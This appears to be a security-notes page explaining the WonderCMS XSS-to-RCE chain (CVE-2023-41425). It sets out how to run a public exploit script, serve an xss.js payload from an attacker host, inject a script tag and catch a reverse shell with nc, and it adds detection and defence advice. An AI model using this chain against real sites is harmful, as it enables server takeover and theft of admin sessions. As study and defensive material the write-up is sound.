the_open_door
coffee
ESEN
← Back to index

WonderCMS XSS to RCE (CVE-2023-41425)

WonderCMS is a minimalist PHP content management system. CVE-2023-41425 affects versions 3.2.0 to 3.4.2 and chains an XSS with the theme-install feature to reach remote code execution. It is a great example of how an XSS, sometimes treated as a "minor" bug, becomes a full compromise when the victim is an administrator.

The chain works like this:

  1. XSS injection. WonderCMS exposes a form (for example contact or registration) whose content ends up rendered in the admin panel without sanitisation. We submit a value containing a tag <script src="http://<attacker>:<port>/xss.js"></script>.
  2. The admin opens it. When the admin reviews the entry in their panel, the admin's browser loads and runs our xss.js. The key is that it runs in their session: with their permissions and their token.
  3. Token theft and theme install. The xss.js reads WonderCMS's admin token (required for privileged actions) and uses it to install a malicious theme or module from a URL we control. WonderCMS lets you install themes as a ZIP, and that ZIP contains a PHP file (a webshell or a reverse shell).
  4. RCE. With the malicious PHP placed inside the web root, we invoke it (or the script itself triggers it) and obtain command execution, usually as www-data.

There is a public exploit (by prodigiousMind) that generates the xss.js, prepares it to be served and automates the rest: you just give it the WonderCMS login URL, your IP and port, start the HTTP server that serves the xss.js, and submit the link through the form.

Exploitation

# generates xss.js and prepares the malicious theme (args: login URL, lhost, lport)
python3 wondercms_xss_rce.py http://<host>/loginURL <lhost> <lport>
python3 -m http.server 8000                 # serve the generated xss.js
nc -nlvp <lport>                            # listener for the reverse shell

Then submit, through the vulnerable form, the payload that loads our script in the admin's session:

<script src="http://<lhost>:8000/xss.js"></script>

Caveat. Step 2 depends on an admin opening the entry: it is a client-side attack that needs that interaction (in a lab, a bot simulates the admin; in the real world, social engineering or patience). Without that visit, the chain does not fire.

How to detect it. The chain leaves traces at three points. On input, a form whose content includes <script src="http://..."> saved unsanitized (visible in the CMS DB/files). In the administrator's browser, the load of an external xss.js (a CSP report or the Referer in the attacker's log gives it away). And on the server, the installation of a theme/module from an external URL followed by the appearance of a new .php in the web root (FIM) and the web process spawning sh as a child. A theme installation not initiated by an admin on their usual machine is the signature.

Defence. Update WonderCMS to a patched version; sanitise and escape any input rendered in the panel (to kill the XSS at the root); enforce a Content-Security-Policy that blocks loading external scripts; and limit what can be installed and from where. Related to command injection and other RCE paths.

Machines where it's used